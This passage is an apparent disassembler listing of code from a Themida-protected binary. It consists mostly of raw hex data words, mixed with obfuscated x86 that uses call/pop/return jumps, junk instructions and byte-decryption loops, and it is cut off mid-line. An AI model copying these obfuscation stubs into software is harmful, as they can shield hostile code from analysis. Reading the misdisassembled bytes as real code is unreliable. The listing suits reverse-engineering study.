895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 9D89C353h, 89D8276Dh dd 120199BDh, 0ADFEB706h, 0E8D1C233h, 0E983D003h, 56F47504h dd 93A1BF51h, 5F5B7AB6h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0DC35242h, 0A048B20Dh, 19159D89h, 880D0612h dd 0F000000h, 85h, 0A1958B00h, 6A061209h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 15BCC355h dd 8BFBBF0Fh, 1205058Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0C28B50DCh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 0BF58188Bh, 49340BEh, 68E0Fh dd 8D890000h, 612129Dh, 2121BD83h, 0F000612h, 8484h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0CF818D87h, 620833FAh, 0B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5D1E76BBh dd 898406A4h, 120255B5h, 0B58D8D06h, 6A06124Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 3DEC352h, 9A33AB29h, 47EB8166h, 1E1FF2Ch, 121D29B5h dd 0D9BD8306h, 6121Bh, 42B840Fh, 820F0000h, 8, 2830Fh dd 0DE8B0000h, 1BD9BD83h, 0F010612h, 42B84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 39E2EEF4h, 66970992h, 839705BBh, 121BD9BDh, 860F0306h dd 3C2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 6DC35242h, 6A98D89h, 6A600612h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7A7DC353h dd 5ABF666Eh, 0D98C669Ch, 0F129BB66h, 0F04E180h, 684h dd 0FD852900h, 0A06121Eh, 4B840FC9h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 1B1DC351h, 8B69247Fh, 12308D85h, 3BEF8006h, 31658533h dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0E50E98C3h, 0C459F0A8h, 8B07F551h, 0DF8166DEh dd 0E9501EE8h, 10h, 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh dd 8B240489h, 121F719Dh, 6A006A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6665C353h dd 37C6439Eh, 4E8h, 1F03FF00h, 0A8BF5100h, 5B386E50h, 24448B50h dd 0D98B6604h, 0D5BF008Bh, 89052EBDh, 58042444h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1C35141h, 0B063842Ch dd 0FAB72723h, 218D9D03h, 95FF0612h, 6122379h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1C35545h, 8589DF8Bh dd 615C812h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 6EC35747h, 5B9030BCh, 0B0E9D889h, 0F000001h, 989h dd 3860F00h, 0F000000h, 858BD9B7h, 615C80Ah, 75BD8960h dd 51061219h, 615E53B1h, 1800C7h, 0FB8B0000h, 0C80EB58Bh dd 0D98B0615h, 2AB9858Bh, 6A0612h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 1AD84DC3h, 6898590h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 7EC35343h dd 5D6F5473h, 28EF800Bh, 308D858Bh, 6A0612h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 8C7DA2C3h dd 0E99A04BFh, 0Eh, 3B8FCE5Ch, 5234BC52h, 515BF8EFh, 4689B042h dd 96FE8B04h, 0E4F8BF66h, 48C0F50h, 50000000h, 965B5F53h dd 21259D8Bh, 0B5FF0612h, 615C80Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0D7C35040h, 44E66D82h, 0FF2256Ah dd 681h, 89BD0300h, 0E8061213h, 4, 1F03FFh, 0F525060h dd 60585A31h, 6E8h, 388FB500h, 5FE1502Eh, 50506161h, 0D98B6652h dd 8F0F310Fh, 18h, 13E9h, 2EDC8700h, 0E8BC068Ch, 0EB093ED9h dd 75EAA7F8h, 79DCA871h, 448B585Ah, 9E90424h, 2F000000h dd 75BBC9F4h, 3BCDF2D8h, 0D88B008Bh, 4244489h, 4080BF66h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 12858DEBh, 8B0615C8h, 1209399Dh, 0BF665006h dd 4891C78h, 59BD8B24h, 0FF061203h, 12237995h, 0DD952906h dd 61061211h, 1561BD8Bh, 85C70612h, 6121BD9h, 3, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1C35747h, 9992A929h dd 7DBF538Fh, 5F601A85h, 0C812BD83h, 0F000615h, 2D84h dd 6E900h, 876E0000h, 0FC3C1BBCh, 38E9h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 30508A55h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 9448E619h, 0E6EF8166h, 4D9D8BCBh dd 6A06122Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0E0A9C351h, 2781B57Bh, 0BD83BBBCh dd 6121BD9h, 8F850F03h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0AD29C356h dd 95896894h, 61211D5h, 0C812BD83h, 0F000615h, 45D84h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0F8B9A9AEh, 249F0775h, 8D8B6089h, 6122625h dd 8E9h, 11CAD700h, 119BE1BAh, 0BF0F61F9h, 12B5FFD9h, 6A0615C8h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 328DC355h, 69D7809Ah, 0A995FFFCh, 6A06121Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 6D5AC352h, 8BF4B3EEh, 15C806B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0A5ACD2Bh, 66570D50h, 9509CF38h, 6121309h, 193DBD89h dd 6C70612h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0B8C35747h, 0A54313CEh, 962391E3h, 0A8A0Fh dd 60600000h, 8E0F61h, 61000000h, 969EB750h, 1761B529h dd 0B5FF0612h, 615C812h, 18718589h, 8D0F0612h, 11h, 0CE9h dd 15567400h, 0BCE37A70h, 99D02DD7h, 595FFFDh, 6A06121Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 93B8C352h, 9DDE13DBh, 80EDDCDCh, 9D8B0EE3h dd 61218CDh, 6810Fh, 9D8B0000h, 61223B1h, 0C806B58Bh, 6A0615h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0FF5C78C3h, 1A5858Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 1C96D4C3h, 0E3A968D5h dd 89AAF380h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 9EF59E80h, 0A1EFF150h dd 68A0Fh, 8D010000h, 6122DD1h, 9A1958Bh, 6A0612h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F9747FC3h, 0BF04C283h, 658CB872h, 6A205089h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 8E37C351h, 0A4DF258h, 2FA99D89h, 0F88B0612h, 0DC6F858Dh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0A43C23C3h, 89FA8A87h, 1204C59Dh, 0B8868906h dd 0FC000000h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 12E8F5C3h, 1B000000h, 8D3F294Fh dd 821A320Dh, 0DDB05D52h, 3E37F9A7h, 0CB8166DFh, 0FF5B338Ch dd 15C812B5h, 0E59D8B06h, 0FF061204h, 1206A595h, 49BD8906h dd 96061226h, 0FE8h, 8A9D1400h, 35C57108h, 0C85101D9h dd 1BEF4B28h, 14E9h, 0D3B0000h, 0C4F1D7A0h, 0F47D629h dd 0FF502C0Dh, 0D1D69BD0h, 50505B61h, 2860F52h, 53000000h dd 0BF310F5Fh, 2EB738E6h, 396585Ah, 121FF19Dh, 0EE806h dd 2FD40000h, 0EFB0DFC4h, 3FFC7236h, 2FF19066h, 159BD2Bh dd 0FF5F0612h, 15C812B5h, 6BF78106h, 0FF056EBDh, 12028195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0A464B4F5h, 11E92Fh, 6BDD0000h, 560EAB3Eh dd 5A68503Fh, 0D25DD467h, 83018A8Ch, 122A09BDh, 840F0006h dd 10h, 6EDF8166h, 0BF5096A9h, 1B3858FEh, 0DA8B6696h, 0C812B5FFh dd 0B70F0615h, 0D18D01F8h, 0FF061207h, 1218C195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 4B88BB06h, 0C812B5FFh, 11E80615h, 0CF000000h, 0FEBAACAEh dd 0CD804892h, 0C065C51h, 49C127CCh, 5E8h, 56BDED00h, 9D8942ACh dd 6121971h, 95FF5F5Bh, 6121BA1h, 9E8h, 0B6D77F00h, 0E7B40E39h dd 835FF3CFh, 121EB1BDh, 840F0206h, 31h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 28C35040h, 820C3CCBh dd 3A5858Bh, 0DCB30612h, 8B0000C6h, 1216099Dh, 5985C706h dd 6121Bh, 89000000h, 121DB985h, 0D3816606h, 36E9E5CEh dd 6AFFFFF3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0E950C352h, 6, 6503D21h, 0BD3321B8h dd 612107Dh, 16DBD89h, 0C18B0612h, 22AD9D33h, 858D0612h dd 6122E01h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C7C35141h dd 4DEBDC32h, 0A93F2569h, 18CF80D8h, 24048950h, 179AE0BBh dd 6AE7B362h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 750089B3h, 6A006A1Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0EF62C355h dd 3BC4F88h, 7EB79247h, 1FDD9D8Bh, 858D0612h, 6165C65h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 60C35141h dd 0B70F3933h, 5C083FBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0E1C35646h, 97B143BFh, 0B296F2A3h, 5319D8Bh dd 9D890612h, 6121DB9h, 0FE950h, 7E580000h, 74322FD2h dd 0FA768FD3h, 140ED998h, 240489E1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0B3C35242h, 0D1EA2B20h, 33A44CADh dd 1212859Dh, 8B006A06h, 122C39BDh, 0E8006A06h, 9, 67125478h dd 0DB67E79Ch, 9456BF77h, 0FF5F2D38h, 120DB595h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 2101497Dh, 0BD09359Dh, 61205A5h, 0AF028D8Dh, 880F0615h dd 6, 0A5EFF381h, 0D1FF7EACh, 10E960h, 0B09A0000h, 5F867350h dd 93F87734h, 5655451Bh, 0BF66F2D4h, 8361422Ah, 1207ADBDh dd 850F0106h, 33h, 1DE5BD33h, 26A0612h, 0AE990F9h, 0E0000000h dd 0E7971527h, 0E3315638h, 8B6050BDh, 0A186BEF8h, 906119F5h dd 0FFDFBF0Fh, 1206A595h, 4DBD8B06h, 0E906120Eh, 0CB5h dd 0E8h, 0ED815D00h, 6165C6Fh, 2DC1BD8Bh, 6A0612h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 2AC205C3h, 0F88B315Ch, 9437858Dh, 66570615h, 905BF98Bh dd 14E8h, 50544600h, 64032B17h, 14408AC5h, 0B2B5F03h, 0ED1F5D1Bh dd 5B5F5092h, 830F6050h, 2, 90616160h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0EAC35141h, 0B6B3799Ah, 0A55DF92Dh dd 3759589h, 0FF640612h, 35h, 0DEB70F00h, 258964h, 51000000h dd 0CE8h, 8BD7BA00h, 5A04FFE4h, 0DA047F3Bh, 0A59D8B6Ah dd 5F06120Eh, 7985FF5Bh, 6A061206h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0B997C356h dd 0BC5C72Eh, 0CACB6EADh, 0EF81FF6Ah, 251C298Dh, 1D2DB5FFh dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 4F0E42C3h, 2FD68162h, 0E9B068F6h, 6, 0E18CDF30h dd 0FE8B17F5h, 2CB595FFh, 6E90612h, 60000001h, 8758D8Bh dd 0BD8B0612h, 6122D59h, 8000B061h, 70E6D5F3h, 69B58951h dd 5F061228h, 0FE971E4h, 68000000h, 0D49063A4h, 0C5AB4B84h dd 96799797h, 613CE7AFh, 0CB830Fh, 8B660000h, 0C8B60FF9h dd 6BAh, 7820F00h, 60000000h, 0BF0F4EB5h, 0C18B61CAh, 0C1FA8B66h dd 8D8904E8h, 6122925h, 0F766D88Bh, 6BB66E2h, 0D1858952h dd 2B06122Dh, 8E8C8h, 0FBA60000h, 0AF920F1h, 870FCB3Dh dd 0 ; --------------------------------------------------------------------------- pop edi mov edx, ecx mov [ebp+6121A4Dh], ebx jmp loc_58C84B ; --------------------------------------------------------------------------- mov edi, 6299B7AFh loc_58C84B: ; CODE XREF: Themida_:0058C841j mov eax, [ebp+61200F9h] sub [ebp+612112Dh], eax add eax, 7 add eax, 0 xor bx, 85A7h cmp edx, eax jnb loc_58C878 xor [ebp+6123075h], edi jmp loc_58C8B9 ; --------------------------------------------------------------------------- mov bx, si loc_58C878: ; CODE XREF: Themida_:0058C864j mov ecx, [ebp+61222B1h] mov ebx, [ebp+61200F5h] mov di, cx and ecx, 1 jz loc_58C8B9 jp loc_58C89C sub [ebp+6122079h], edx loc_58C89C: ; CODE XREF: Themida_:0058C890j and dword ptr [ebp+61222B1h], 0FFFFFFFEh sub edi, [ebp+61212DDh] mov [ebp+61200F9h], edx sbb di, 0F1D3h jmp $+5 loc_58C8B9: ; CODE XREF: Themida_:0058C870j ; Themida_:0058C88Aj lea esi, [ebp+615E7C7h] jno loc_58C8CA or bx, 9A9Dh loc_58C8CA: ; CODE XREF: Themida_:0058C8BFj push 0 push 0 push edi call sub_58C8D7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C8D7 proc near ; CODE XREF: Themida_:0058C8CFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_58C8D7 endp ; --------------------------------------------------------------------------- db 0ACh dd 8B4E7A5Dh, 120E759Dh, 0CD95FF06h, 6A061219h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 548DC353h, 296ACE91h, 123505B5h, 0EF0B906h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0DC12D3C3h, 12E9CBh, 48A80000h, 0E22E1A16h, 0B38B64F9h dd 93BABB48h, 0DE9B58DDh, 0E9FCE183h, 0Fh, 6BAA491h, 0B4899F42h dd 0E15118h, 0FC06665Dh, 0B8h, 88B0F00h, 51000000h, 1A918509h dd 2B5B0612h, 0E9BD89D2h, 0AD06122Dh, 0E8D1C233h, 0E983D003h dd 2BF47504h, 121C0D9Dh, 6E806h, 24760000h, 0F66F47F6h dd 5BDE8B66h, 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 10E85113h, 0C1000000h dd 0DF687BD5h, 155A86B4h, 99CCFECCh, 5BE40471h, 0A1958B5Fh dd 8B061209h, 1205058Dh, 50D98A06h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 81D78058h, 1105B589h, 6A0612h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 5F0314C3h, 5D1B0B2Bh, 6B64A4BFh, 0DEB6BB31h, 0BD833A5Bh dd 6122121h, 68840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 932FC353h dd 27D585E0h, 19259589h, 0B80612h, 29000000h, 1210CDB5h dd 0F98B6606h, 4DB58D8Dh, 6A0612h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 76A2AAC3h, 35551A77h dd 0FF93FD69h, 21BD23E1h, 83061213h, 121BD9BDh, 840F0006h dd 3C7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 6DC35545h, 566077A0h, 8B5FC28Bh, 122D2D95h, 0BD836106h dd 6121BD9h, 0AB840F01h, 8B000003h, 122FF9BDh, 0D9BD8306h dd 306121Bh, 362860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0BB6DA9C3h, 0DEA6ECA9h dd 880F6A3Ah, 0Dh, 8E9h, 0D40C8E00h, 0DE54D4A0h, 6A6098h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0C29041C3h, 66081207h, 8C66FB8Bh, 57006AD9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 46E4A40Bh dd 80147A63h, 0B58904E1h, 612091Dh, 840FC90Ah, 0F3h, 308D858Bh dd 0DE8A0612h, 31658533h, 0C3800612h, 0FA8B906Eh, 52506050h dd 4BB2310Fh, 8B66585Ah, 6A9061FAh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0C178C357h dd 800F50B4h, 0Eh, 85958960h, 1061202h, 120D39B5h, 6A6106h dd 176D9D8Bh, 0AD680612h, 0E8DFEBCAh, 10h, 8AF75F3Fh, 400AEA1Ah dd 9B63DD94h, 238AE67Bh, 6870Fh, 810F0000h, 0 ; --------------------------------------------------------------------------- pop ebx add dword ptr [esp], 20333952h mov edi, [ebp+6120961h] call dword ptr [ebp+6122379h] add ebx, [ebp+6122659h] sub edi, 77EC0F08h mov [ebp+615C812h], eax push 0 push esi call sub_58CC4D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CC4D proc near ; CODE XREF: Themida_:0058CC45p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_58CC4D endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- xor [ecx+5Bh], edx jmp loc_58CE25 ; --------------------------------------------------------------------------- push 0 push eax call sub_58CC71 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CC71 proc near ; CODE XREF: Themida_:0058CC69p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax loc_58CC7F: ; CODE XREF: Themida_:0058CC82j push eax retn sub_58CC71 endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- jge short loc_58CC7F mov edi, es:[ebp+612096Dh] mov eax, [ebp+615C80Ah] cld mov dword ptr [eax], 18h push 0 push eax call sub_58CCA3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CCA3 proc near ; CODE XREF: Themida_:0058CC9Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_58CCA3 endp ; --------------------------------------------------------------------------- db 0DBh ; --------------------------------------------------------------------------- sahf mov ebx, ds:[ebp+6121D9Dh] mov esi, [ebp+615C80Eh] push 0 push eax call sub_58CCCD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CCCD proc near ; CODE XREF: Themida_:0058CCC5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58CCCD endp ; --------------------------------------------------------------------------- mov ds:0E6EF8166h, eax fisttp dword ptr [ebx+122AB985h] push es mov di, 5876h mov [esi], eax push 0 push esi call sub_58CCFA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CCFA proc near ; CODE XREF: Themida_:0058CCF2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58CCFA endp ; --------------------------------------------------------------------------- sbb eax, 21E3F515h das dec ebx xor [ebp+6122FB5h], ebx jb loc_58CD21 mov di, 3E26h loc_58CD21: ; CODE XREF: Themida_:0058CD17j pusha or eax, 68129126h mov eax, 2401CE7Fh popa mov eax, [ebp+612308Dh] push 0 push edx call sub_58CD3F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CD3F proc near ; CODE XREF: Themida_:0058CD37p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_58CD3F endp ; --------------------------------------------------------------------------- cmp [eax+1BC29CD4h], ebp retf 4689h ; --------------------------------------------------------------------------- dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0BC4C05B8h, 0F9B2446Eh, 0BD9D0314h, 60061212h dd 5061DA8Bh, 3489F88Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 217213Bh, 0BD3BD05Fh dd 9D8D2984h, 0FF061215h, 15C80AB5h, 0B70F6006h, 0AB6861D8h dd 0FE2F084h, 86h, 24048100h, 1D2E7F54h, 0D5EDEF81h, 858D75F6h dd 615C812h, 11E9h, 9D9D7900h, 161FC099h, 2BC48BF7h, 0C1B091FEh dd 8950423Ch, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 6B3C38C3h, 0FF9E51DFh, 12237995h dd 87BB6606h db 63h ; --------------------------------------------------------------------------- loc_58CE25: ; CODE XREF: Themida_:0058CC61j popa mov bx, 737Fh sub ebx, [ebp+612010Dh] mov dword ptr [ebp+6121BD9h], 3 jmp loc_58CE4F ; --------------------------------------------------------------------------- db 4Bh dd 51A2A700h, 763AD26Bh, 0E606E6FFh db 0EFh, 8Ch, 11h ; --------------------------------------------------------------------------- loc_58CE4F: ; CODE XREF: Themida_:0058CE3Aj cmp dword ptr [ebp+615C812h], 0 jz loc_58CE68 mov [ebp+6122191h], ecx jmp loc_58CE83 ; --------------------------------------------------------------------------- cmc loc_58CE68: ; CODE XREF: Themida_:0058CE56j ; Themida_:0058CE7Fj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_58CE68 jmp short loc_58CEB9 ; --------------------------------------------------------------------------- loc_58CE83: ; CODE XREF: Themida_:0058CE62j ; Themida_:0058CE9Aj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_58CE83 jmp short loc_58CEB9 ; --------------------------------------------------------------------------- loc_58CE9E: ; CODE XREF: Themida_:loc_58CEB5j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 loc_58CEB5: ; CODE XREF: Themida_:0058CF1Ej jnz short loc_58CE9E jmp short $+2 loc_58CEB9: ; CODE XREF: Themida_:0058CE81j ; Themida_:0058CE9Cj mov eax, eax push 0 push edx call sub_58CEC6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CEC6 proc near ; CODE XREF: Themida_:0058CEBEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58CEC6 endp ; --------------------------------------------------------------------------- retn 4659h ; --------------------------------------------------------------------------- mov [ebp+6122BF9h], eax cmp dword ptr [ebp+6121BD9h], 3 jnz loc_58D303 push 0 push edi call sub_58CEF7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CEF7 proc near ; CODE XREF: Themida_:0058CEEFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_58CEF7 endp ; --------------------------------------------------------------------------- db 32h ; --------------------------------------------------------------------------- adc eax, edi sal byte ptr [ebx+0FE9h], 1 add [ecx-16B1D002h], al mov dl, 0ACh pop esi push edx add [edx+edx], edx daa ja short loc_58CEB5 cmp dword ptr [ebp+615C812h], 0 jz loc_58D303 push 0 push ecx call sub_58CF38 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CF38 proc near ; CODE XREF: Themida_:0058CF30p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_58CF38 endp ; --------------------------------------------------------------------------- or dword ptr [ecx+1209BD95h], 12B5FF06h enter 615h, 8Bh mov ebp, 6121829h sub [ebp+61204B5h], ecx call dword ptr [ebp+6121AA9h] stc mov esi, [ebp+615C806h] push 0 push eax call sub_58CF79 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CF79 proc near ; CODE XREF: Themida_:0058CF71p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_58CF79 endp ; --------------------------------------------------------------------------- db 0Ch, 14h, 0FFh dd 56C999F4h, 6C77950h, 10001h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0A1C35141h, 999509FFh, 5006121Fh dd 0BA605250h, 2E264C9Ch, 28E8CCBBh, 310F6109h, 11E9h dd 50218A00h, 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 585AF5D6h dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 9B16C355h, 782AC62Ch, 0B5FF301Ah dd 615C812h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 73C35040h, 0FF45A5D5h, 4CC9FFh, 11E9DEh, 94960000h dd 0F64BD5Bh, 0EEF72340h, 82819643h, 0FF7F0C67h, 121C0595h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 3428AB30h, 8E9F9h, 0D9DF0000h, 7BE11A6Bh dd 0B58B8084h, 615C806h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0E4C35646h, 0DE8B8131h, 9F0E1205h, 0A5858BA5h dd 0E8061201h, 6, 0B6452290h, 9D89B2DFh, 6120199h, 0C486895Fh dd 51000000h, 23C99D89h, 8B5B0612h, 1209A195h, 0CB816606h dd 0E3813156h, 0DB6F8EFh, 6604C283h, 899AB6BFh, 0B7532050h dd 858D5FB4h, 615DC6Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 8C35141h, 0CA9019AFh, 83FB08C4h, 0B88689h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 93E59BC3h, 8B422676h, 6A006AD9h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 8884C355h, 8E0F2CCAh, 6, 2F89BD29h, 9D8B0612h, 6122DD1h dd 0FFD88B66h, 15C812B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FFFE8BA7h dd 1206A595h, 8D2B6006h, 6121A41h, 509661FCh, 0A6FA56BBh dd 66505B5Dh, 960D29BFh, 0F4CF8166h, 12B5FF6Ah, 6A0615C8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FFF0C356h, 12028195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4CE165B8h dd 83001058h, 122A09BDh, 840F0006h, 76h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0D2C35040h, 999D8B44h dd 0F061205h, 8Dh, 0DE95000h, 0CC000000h, 3594B863h, 14428D92h dd 0E4ED9185h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 995FC352h, 13D5A992h dd 0CE89C50h, 0E7000000h, 8BEAA558h, 38E55E09h, 0B7EA86C4h dd 0B5FF5FDBh, 615C812h, 0FFF7EF80h, 1218C195h, 94EB8006h dd 0C812B5FFh, 95FF0615h, 